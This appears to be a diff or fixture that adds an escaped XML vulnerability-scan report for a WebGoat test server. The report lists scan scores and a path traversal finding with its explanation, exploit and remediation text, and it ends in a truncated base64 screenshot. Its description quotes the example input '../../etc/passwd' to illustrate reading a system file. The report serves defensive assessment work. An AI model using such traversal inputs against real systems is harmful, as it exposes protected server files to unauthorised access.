+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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